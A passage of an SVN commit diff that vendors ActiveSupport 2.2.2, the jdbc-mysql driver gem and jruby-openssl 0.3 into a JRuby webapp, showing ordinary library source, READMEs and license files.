+        }
+      else
+        text_content = ''
+      end
+
+      if !nested.empty? || !text_content.nil?
+        if named
+          result << '>'
+          if !text_content.nil?
+            result << text_content
+            nested[0].sub!(/^\s+/, '') if !nested.empty?
+          else
+            result << nl
+          end
+          if !nested.empty?
+            result << nested << indent
+          end
+          result << '</' << name << '>' << nl
+        else
+          result << nested
+        end
+      else
+        result << ' />' << nl
+      end
+    elsif ref.instance_of?(Array)
+      ref.each { |value|
+        if scalar(value)
+          result << indent << '<' << name << '>'
+          result << (@options['noescape'] ? value.to_s : escape_value(value.to_s))
+          result << '</' << name << '>' << nl
+        elsif value.instance_of?(Hash)
+          result << value_to_xml(value, name, indent)
+        else
+          result << indent << '<' << name << '>' << nl
+          result << value_to_xml(value, @options['anonymoustag'], indent + @options['indent'])
+          result << indent << '</' << name << '>' << nl
+        end
+      }
+    else
+      # Probably, this is obsolete.
+      raise ArgumentError, "Can't encode a value of type: #{ref.type}."
+    end
+    @ancestors.pop if !scalar(ref)
+    result.join('')
+  end
+  
+  # Checks, if a certain value is a "scalar" value. Whatever
+  # that will be in Ruby ... ;-)
+  # 
+  # value::
+  #   Value to be checked.
+  def scalar(value)
+    return false if value.instance_of?(Hash) || value.instance_of?(Array)
+    return true
+  end
+
+  # Attempts to unfold a hash of hashes into an array of hashes. Returns
+  # a reference to th array on success or the original hash, if unfolding
+  # is not possible.
+  # 
+  # parent::
+  #   
+  # hashref::
+  #   Reference to the hash to be unfolded.
+  def hash_to_array(parent, hashref)
+    arrayref = []
+    hashref.each { |key, value|
+      return hashref unless value.instance_of?(Hash)
+
+      if @options['keyattr'].instance_of?(Hash)
+        return hashref unless @options['keyattr'].has_key?(parent)
+        arrayref << { @options['keyattr'][parent][0] => key }.update(value)
+      else
+        arrayref << { @options['keyattr'][0] => key }.update(value)
+      end
+    }
+    arrayref
+  end
+  
+  # Replaces XML markup characters by their external entities.
+  #
+  # data::
+  #   The string to be escaped.
+  def escape_value(data)
+    Text::normalize(data)
+  end
+  
+  # Removes leading and trailing whitespace and sequences of
+  # whitespaces from a string.
+  #
+  # text::
+  #   String to be normalised.
+  def normalise_space(text)
+    text.strip.gsub(/\s\s+/, ' ')
+  end
+
+  # Checks, if an object is nil, an empty String or an empty Hash.
+  # Thanks to Norbert Gawor for a bugfix.
+  #
+  # value::
+  #   Value to be checked for emptiness.
+  def empty(value)
+    case value
+      when Hash
+        return value.empty?
+      when String
+        return value !~ /\S/m
+      else
+        return value.nil?
+    end
+  end
+  
+  # Converts a document node into a String.
+  # If the node could not be converted into a String
+  # for any reason, default will be returned.
+  #
+  # node::
+  #   Document node to be converted.
+  # default::
+  #   Value to be returned, if node could not be converted.
+  def node_to_text(node, default = nil)
+    if node.instance_of?(REXML::Element) 
+      node.texts.map { |t| t.value }.join('')
+    elsif node.instance_of?(REXML::Attribute)
+      node.value.nil? ? default : node.value.strip
+    elsif node.instance_of?(REXML::Text)
+      node.value.strip
+    else
+      default
+    end
+  end
+
+  # Parses an XML string and returns the according document.
+  #
+  # xml_string::
+  #   XML string to be parsed.
+  #
+  # The following exception may be raised:
+  #
+  # REXML::ParseException::
+  #   If the specified file is not wellformed.
+  def parse(xml_string)
+    Document.new(xml_string)
+  end
+  
+  # Searches in a list of paths for a certain file. Returns
+  # the full path to the file, if it could be found. Otherwise,
+  # an exception will be raised.
+  #
+  # filename::
+  #   Name of the file to search for.
+  # searchpath::
+  #   List of paths to search in.
+  def find_xml_file(file, searchpath)
+    filename = File::basename(file)
+
+    if filename != file
+      return file if File::file?(file)
+    else
+      searchpath.each { |path|
+        full_path = File::join(path, filename)
+        return full_path if File::file?(full_path)
+      }
+    end
+
+    if searchpath.empty?
+      return file if File::file?(file)
+      raise ArgumentError, "File does not exist: #{file}."
+    end
+    raise ArgumentError, "Could not find <#{filename}> in <#{searchpath.join(':')}>"
+  end
+  
+  # Loads and parses an XML configuration file.
+  #
+  # filename::
+  #   Name of the configuration file to be loaded.
+  #
+  # The following exceptions may be raised:
+  # 
+  # Errno::ENOENT::
+  #   If the specified file does not exist.
+  # REXML::ParseException::
+  #   If the specified file is not wellformed.
+  def load_xml_file(filename)
+    parse(File.readlines(filename).to_s)
+  end
+
+  # Caches the data belonging to a certain file.
+  #
+  # data::
+  #   Data to be cached.
+  # filename::
+  #   Name of file the data was read from.
+  def put_into_cache(data, filename)
+    if @options.has_key?('cache')
+      @options['cache'].each { |scheme|
+        case(scheme)
+        when 'storable'
+          @@cache.save_storable(data, filename)
+        when 'mem_share'
+          @@cache.save_mem_share(data, filename)
+        when 'mem_copy'
+          @@cache.save_mem_copy(data, filename)
+        else
+          raise ArgumentError, "Unsupported caching scheme: <#{scheme}>."
+        end
+      }
+    end
+  end
+end
+
+# vim:sw=2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+# Prefer gems to the bundled libs.
+require 'rubygems'
+
+begin
+  gem 'builder', '~> 2.1.2'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/builder-2.1.2"
+end
+
+begin
+  gem 'xml-simple', '~> 1.0.11'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/xml-simple-1.0.11"
+end
+
+begin
+  gem 'memcache-client', '~> 1.5.1'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.5.1"
+end
+
+begin
+  gem 'tzinfo', '~> 0.3.12'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/tzinfo-0.3.12"
+end
+
+# TODO I18n gem has not been released yet
+# begin
+#   gem 'i18n', '~> 0.0.1'
+# rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.0.1"
+  require 'i18n'
+# end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActiveSupport
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/whiny_nil.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/whiny_nil.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/whiny_nil.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+# Extensions to +nil+ which allow for more helpful error messages for people who
+# are new to Rails.
+#
+# Ruby raises NoMethodError if you invoke a method on an object that does not
+# respond to it:
+#
+#   $ ruby -e nil.destroy
+#   -e:1: undefined method `destroy' for nil:NilClass (NoMethodError)
+#
+# With these extensions, if the method belongs to the public interface of the
+# classes in NilClass::WHINERS the error message suggests which could be the
+# actual intended class:
+#
+#   $ script/runner nil.destroy 
+#   ...
+#   You might have expected an instance of ActiveRecord::Base.
+#   ...
+#
+# NilClass#id exists in Ruby 1.8 (though it is deprecated). Since +id+ is a fundamental
+# method of Active Record models NilClass#id is redefined as well to raise a RuntimeError
+# and warn the user. She probably wanted a model database identifier and the 4
+# returned by the original method could result in obscure bugs.
+#
+# The flag <tt>config.whiny_nils</tt> determines whether this feature is enabled.
+# By default it is on in development and test modes, and it is off in production
+# mode.
+class NilClass
+  WHINERS = [::Array]
+  WHINERS << ::ActiveRecord::Base if defined? ::ActiveRecord
+
+  METHOD_CLASS_MAP = Hash.new
+
+  WHINERS.each do |klass|
+    methods = klass.public_instance_methods - public_instance_methods
+    class_name = klass.name
+    methods.each { |method| METHOD_CLASS_MAP[method.to_sym] = class_name }
+  end
+
+  # Raises a RuntimeError when you attempt to call +id+ on +nil+.
+  def id
+    raise RuntimeError, "Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id", caller
+  end
+
+  private
+    def method_missing(method, *args, &block)
+      raise_nil_warning_for METHOD_CLASS_MAP[method], method, caller
+    end
+
+    # Raises a NoMethodError when you attempt to call a method on +nil+.
+    def raise_nil_warning_for(class_name = nil, selector = nil, with_caller = nil)
+      message = "You have a nil object when you didn't expect it!"
+      message << "\nYou might have expected an instance of #{class_name}." if class_name
+      message << "\nThe error occurred while evaluating nil.#{selector}" if selector
+
+      raise NoMethodError, message, with_caller || caller
+    end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,61 @@
+#--
+# Copyright (c) 2005 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support/vendor'
+require 'active_support/basic_object'
+require 'active_support/inflector'
+require 'active_support/callbacks'
+
+require 'active_support/core_ext'
+
+require 'active_support/buffered_logger'
+
+require 'active_support/gzip'
+require 'active_support/cache'
+
+require 'active_support/dependencies'
+require 'active_support/deprecation'
+
+require 'active_support/ordered_hash'
+require 'active_support/ordered_options'
+require 'active_support/option_merger'
+
+require 'active_support/memoizable'
+require 'active_support/string_inquirer'
+
+require 'active_support/values/time_zone'
+require 'active_support/duration'
+
+require 'active_support/json'
+
+require 'active_support/multibyte'
+
+require 'active_support/base64'
+
+require 'active_support/time_with_zone'
+
+require 'active_support/secure_random'
+
+require 'active_support/rescuable'
+
+I18n.load_path << File.dirname(__FILE__) + '/active_support/locale/en.yml'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/activesupport.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/activesupport.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/activesupport.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_support'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/LICENSE.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/LICENSE.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/LICENSE.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+This gem bundles the MySQL JDBC driver/connector for Java.  The MySQL connector is available from MySQL AB under the terms of the GPL, see http://www.gnu.org/copyleft/gpl.html for details.
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Manifest.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Manifest.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Manifest.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+Manifest.txt
+Rakefile
+README.txt
+LICENSE.txt
+lib/jdbc
+lib/jdbc/mysql.rb
+lib/mysql-connector-java-5.0.4-bin.jar

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/README.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/README.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/README.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+This is a MySQL JDBC driver gem for JRuby. Use
+
+   require 'jdbc/mysql'
+
+to make the driver accessible to JDBC and ActiveRecord code running in JRuby.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+MANIFEST = FileList["Manifest.txt", "Rakefile", "README.txt", "LICENSE.txt", "lib/**/*"]
+
+file "Manifest.txt" => :manifest
+task :manifest do
+  File.open("Manifest.txt", "w") {|f| MANIFEST.each {|n| f << "#{n}\n"} }
+end
+Rake::Task['manifest'].invoke # Always regen manifest, so Hoe has up-to-date list of files
+
+$LOAD_PATH << "lib"
+require "jdbc/mysql"
+begin
+  require 'hoe'
+  Hoe.new("jdbc-mysql", Jdbc::MySQL::VERSION) do |p|
+    p.rubyforge_name = "jruby-extras"
+    p.url = "http://jruby-extras.rubyforge.org/ActiveRecord-JDBC"
+    p.author = "Nick Sieger, Ola Bini and JRuby contributors"
+    p.email = "nick at nicksieger.com, ola.bini at gmail.com"
+    p.summary = "MySQL JDBC driver for Java and MySQL/ActiveRecord-JDBC."
+    p.changes = "Updated to MySQL connector version #{Jdbc::MySQL::VERSION}."
+    p.description = "Install this gem and require 'mysql' within JRuby to load the driver."
+  end.spec.dependencies.delete_if { |dep| dep.name == "hoe" }
+rescue LoadError
+  puts "You really need Hoe installed to be able to package this gem"
+rescue => e
+  puts "ignoring error while loading hoe: #{e.to_s}"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/jdbc/mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/jdbc/mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/jdbc/mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+module Jdbc
+  module MySQL
+    VERSION = "5.0.4"
+  end
+end
+if RUBY_PLATFORM =~ /java/
+  require "mysql-connector-java-#{Jdbc::MySQL::VERSION}-bin.jar"
+else
+  warn "jdbc-mysql is only for use with JRuby"
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/mysql-connector-java-5.0.4-bin.jar
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/mysql-connector-java-5.0.4-bin.jar
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/History.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/History.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/History.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+== 0.2
+
+- Enable remaining tests; fix a nil string issue in SSLSocket.sysread (JRUBY-1888)
+- Fix socket buffering issue by setting socket IO sync = true
+- Fix bad file descriptor issue caused by unnecessary close (JRUBY-2152)
+- Fix AES key length (JRUBY-2187)
+- Fix cipher initialization (JRUBY-1100)
+- Now, only compatible with JRuby 1.1
+
+== 0.1.1
+
+- Fixed blocker issue preventing HTTPS/SSL from working (JRUBY-1222)
+
+== 0.1
+
+- PLEASE NOTE: This release is not compatible with JRuby releases earlier than
+  1.0.3 or 1.1b2. If you must use JRuby 1.0.2 or earlier, please install the
+  0.6 release.
+- Release coincides with JRuby 1.0.3 and JRuby 1.1b2 releases
+- Simultaneous support for JRuby trunk and 1.0 branch
+- Start of support for OpenSSL::BN
+
+== 0.0.5 and prior
+
+- Initial versions with maintenance updates
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/License.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/License.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/License.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+JRuby-OpenSSL is distributed under the same license as JRuby (http://www.jruby.org/).
+
+Version: CPL 1.0/GPL 2.0/LGPL 2.1
+
+The contents of this file are subject to the Common Public
+License Version 1.0 (the "License"); you may not use this file
+except in compliance with the License. You may obtain a copy of
+the License at http://www.eclipse.org/legal/cpl-v10.html
+
+Software distributed under the License is distributed on an "AS
+IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
+implied. See the License for the specific language governing
+rights and limitations under the License.
+
+Copyright (C) 2007 Ola Bini <ola.bini at gmail.com>
+
+Alternatively, the contents of this file may be used under the terms of
+either of the GNU General Public License Version 2 or later (the "GPL"),
+or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+in which case the provisions of the GPL or the LGPL are applicable instead
+of those above. If you wish to allow use of your version of this file only
+under the terms of either the GPL or the LGPL, and not to allow others to
+use your version of this file under the terms of the CPL, indicate your
+decision by deleting the provisions above and replace them with the notice
+and other provisions required by the GPL or the LGPL. If you do not delete
+the provisions above, a recipient may use your version of this file under
+the terms of any one of the CPL, the GPL or the LGPL.
+
+JRuby-OpenSSL includes software by the Legion of the Bouncy Castle
+(http://bouncycastle.org/license.html).

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/README.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/README.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/README.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+= JRuby-OpenSSL
+
+* http://jruby-extras.rubyforge.org/jruby-openssl
+
+== DESCRIPTION:
+
+JRuby-OpenSSL is an add-on gem for JRuby that emulates the Ruby OpenSSL native library.
+
+JRuby offers *just enough* compatibility for most Ruby applications that use OpenSSL. 
+
+Libraries that appear to work fine:
+
+    Rails, Net::HTTPS
+
+Notable libraries that do *not* yet work include:
+
+    Net::SSH, Net::SFTP, etc.
+
+Please report bugs and incompatibilities (preferably with testcases) to either the JRuby 
+mailing list [1] or the JRuby bug tracker [2].
+
+[1]: http://xircles.codehaus.org/projects/jruby/lists
+
+[2]: http://jira.codehaus.org/browse/JRUBY
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/bcmail-jdk14-139.jar
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/bcmail-jdk14-139.jar
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/bcprov-jdk14-139.jar
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/bcprov-jdk14-139.jar
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+module Jopenssl
+  module Version
+    VERSION = "0.3"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl.jar
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl.jar
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/bn.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/bn.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/bn.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+=begin
+= $RCSfile: bn.rb,v $ -- Ruby-space definitions that completes C-space funcs for BN
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2002  Michal Rokos <m.rokos at sh.cvut.cz>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: bn.rb,v 1.1 2003/07/23 16:11:30 gotoyuzo Exp $
+=end
+
+##
+# Should we care what if somebody require this file directly?
+#require 'openssl'
+
+module OpenSSL
+  class BN
+    include Comparable
+  end # BN
+end # OpenSSL
+
+##
+# Add double dispatch to Integer
+#
+class Integer
+  def to_bn
+    OpenSSL::BN::new(self)
+  end
+end # Integer
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/buffering.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/buffering.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/buffering.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,239 @@
+=begin
+= $RCSfile: buffering.rb,v $ -- Buffering mix-in module.
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2001 GOTOU YUUZOU <gotoyuzo at notwork.org>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: buffering.rb,v 1.5.2.4 2005/09/04 22:03:24 gotoyuzo Exp $
+=end
+
+module Buffering
+  include Enumerable
+  attr_accessor :sync
+  BLOCK_SIZE = 1024*16
+
+  def initialize(*args)
+    @eof = false
+    @rbuffer = ""
+    @sync = @io.sync
+  end
+
+  #
+  # for reading.
+  #
+  private
+
+  def fill_rbuff
+    begin
+      @rbuffer << self.sysread(BLOCK_SIZE)
+    rescue Errno::EAGAIN
+      retry
+    rescue EOFError
+      @eof = true
+    end
+  end
+
+  def consume_rbuff(size=nil)
+    if @rbuffer.empty?
+      nil
+    else
+      size = @rbuffer.size unless size
+      ret = @rbuffer[0, size]
+      @rbuffer[0, size] = ""
+      ret
+    end
+  end
+
+  public
+
+  def read(size=nil, buf=nil)
+    if size == 0
+      if buf
+        buf.clear
+      else
+        buf = ""
+      end
+      return @eof ? nil : buf
+    end
+    until @eof
+      break if size && size <= @rbuffer.size
+      fill_rbuff
+    end
+    ret = consume_rbuff(size) || ""
+    if buf
+      buf.replace(ret)
+      ret = buf
+    end
+    (size && ret.empty?) ? nil : ret
+  end
+
+  def readpartial(maxlen, buf=nil)
+    if maxlen == 0
+      if buf
+        buf.clear
+      else
+        buf = ""
+      end
+      return @eof ? nil : buf
+    end
+    if @rbuffer.empty?
+      begin
+        return sysread(maxlen, buf)
+      rescue Errno::EAGAIN
+        retry
+      end
+    end
+    ret = consume_rbuff(maxlen)
+    if buf
+      buf.replace(ret)
+      ret = buf
+    end
+    raise EOFError if ret.empty?
+    ret
+  end
+
+  def gets(eol=$/)
+    idx = @rbuffer.index(eol)
+    until @eof
+      break if idx
+      fill_rbuff
+      idx = @rbuffer.index(eol)
+    end
+    if eol.is_a?(Regexp)
+      size = idx ? idx+$&.size : nil
+    else
+      size = idx ? idx+eol.size : nil
+    end
+    consume_rbuff(size)
+  end
+
+  def each(eol=$/)
+    while line = self.gets(eol)
+      yield line
+    end
+  end
+  alias each_line each
+
+  def readlines(eol=$/)
+    ary = []
+    while line = self.gets(eol)
+      ary << line
+    end
+    ary
+  end
+
+  def readline(eol=$/)
+    raise EOFError if eof?
+    gets(eol)
+  end
+
+  def getc
+    c = read(1)
+    c ? c[0] : nil
+  end
+
+  def each_byte
+    while c = getc
+      yield(c)
+    end
+  end
+
+  def readchar
+    raise EOFError if eof?
+    getc
+  end
+
+  def ungetc(c)
+    @rbuffer[0,0] = c.chr
+  end
+
+  def eof?
+    fill_rbuff if !@eof && @rbuffer.empty?
+    @eof && @rbuffer.empty?
+  end
+  alias eof eof?
+
+  #
+  # for writing.
+  #
+  private
+
+  def do_write(s)
+    @wbuffer = "" unless defined? @wbuffer
+    @wbuffer << s
+    @sync ||= false
+    if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)
+      remain = idx ? idx + $/.size : @wbuffer.length
+      nwritten = 0
+      while remain > 0
+        str = @wbuffer[nwritten,remain]
+        begin
+          nwrote = syswrite(str)
+        rescue Errno::EAGAIN
+          retry
+        end
+        remain -= nwrote
+        nwritten += nwrote
+      end
+      @wbuffer[0,nwritten] = ""
+    end
+  end
+
+  public
+
+  def write(s)
+    do_write(s)
+    s.length
+  end
+
+  def << (s)
+    do_write(s)
+    self
+  end
+
+  def puts(*args)
+    s = ""
+    if args.empty?
+      s << "\n"
+    end
+    args.each{|arg|
+      s << arg.to_s
+      if $/ && /\n\z/ !~ s
+        s << "\n"
+      end
+    }
+    do_write(s)
+    nil
+  end
+
+  def print(*args)
+    s = ""
+    args.each{ |arg| s << arg.to_s }
+    do_write(s)
+    nil
+  end
+
+  def printf(s, *args)
+    do_write(s % args)
+    nil
+  end
+
+  def flush
+    osync = @sync
+    @sync = true
+    do_write ""
+    @sync = osync
+  end
+
+  def close
+    flush rescue nil
+    sysclose
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/cipher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/cipher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/cipher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+=begin
+= $RCSfile: cipher.rb,v $ -- Ruby-space predefined Cipher subclasses
+
+= Info
+  'OpenSSL for Ruby 2' project
+  Copyright (C) 2002  Michal Rokos <m.rokos at sh.cvut.cz>
+  All rights reserved.
+
+= Licence
+  This program is licenced under the same licence as Ruby.
+  (See the file 'LICENCE'.)
+
+= Version
+  $Id: cipher.rb,v 1.1.2.2 2006/06/20 11:18:15 gotoyuzo Exp $
+=end
+
+##
+# Should we care what if somebody require this file directly?
+#require 'openssl'
+
+module OpenSSL
+  module Cipher
+    %w(AES CAST5 BF DES IDEA RC2 RC4 RC5).each{|name|
+      klass = Class.new(Cipher){
+        define_method(:initialize){|*args|
+          cipher_name = args.inject(name){|n, arg| "#{n}-#{arg}" }
+          super(cipher_name)
+        }
+      }
+      const_set(name, klass)
+    }
+
+    %w(128 192 256).each{|keylen|
+      klass = Class.new(Cipher){
+        define_method(:initialize){|mode|
+          mode ||= "CBC"
+          cipher_name = "AES-#{keylen}-#{mode}"
+          super(cipher_name)
+        }
+      }
+      const_set("AES#{keylen}", klass)
+    }
+
+    class Cipher
+      def random_key
+        str = OpenSSL::Random.random_bytes(self.key_len)
+        self.key = str
+        return str
+      end
+
+      def random_iv
+        str = OpenSSL::Random.random_bytes(self.iv_len)
+        self.iv = str
+        return str
+      end
+    end
+  end # Cipher
+end # OpenSSL

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/digest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl/digest.rb	2008-12-20 20:26:23 UTC (rev 1003)
